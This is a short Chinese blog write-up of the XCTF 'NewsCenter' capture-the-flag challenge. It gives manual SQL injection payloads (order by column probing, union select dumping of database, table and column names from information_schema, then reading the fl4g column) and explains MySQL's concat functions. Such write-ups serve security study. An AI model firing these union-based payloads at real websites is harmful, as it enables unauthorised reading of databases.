XCTF NewsCenter

一.考查sql注入方面的知识点

  1.可用sqlmap去拿到flag

  2.手工注入:

  先判断查询的字段个数:  1' order by 3 #  没有报错,证明查询的字段>=3

  再 1' order by 4 # ,报错说明查询的字段数为3.

  通过联合查询爆出数据库名 :  1' union select 1,database(), 1 #      获得数据库名为    news

  再爆表名: 1' union select  1, group_concat(table_name)  from information_schema.tables where table_schema='news' #  

  这里补充一下concat  和 group_concat 的用法:

  concat() 函数

  功能:将多个字符串连接成一个字符串。

  语法:concat(str1, str2,...)    返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

  concat_ws() 函数

  功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符。

  语法:concat_ws(separator, str1, str2, ...)

  说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。

  group_concat() 函数

  功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

  语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )

  说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。

  得到表名后我们再爆列名,一样采用union查询:

  1' union select  1, group_concat(column_name)  from information_schema.columns where table_name='secret_table' #

  得到字段名分别为   id fl4g ,然后我们查询   fl4g  字段的值:

  1' union select 1 , fl4g, 2 from secret_table #

  获得flag。

  

 

 

 

  

  

 

posted @ 2020-04-03 10:05  l2sec  阅读(392)  评论(0编辑  收藏  举报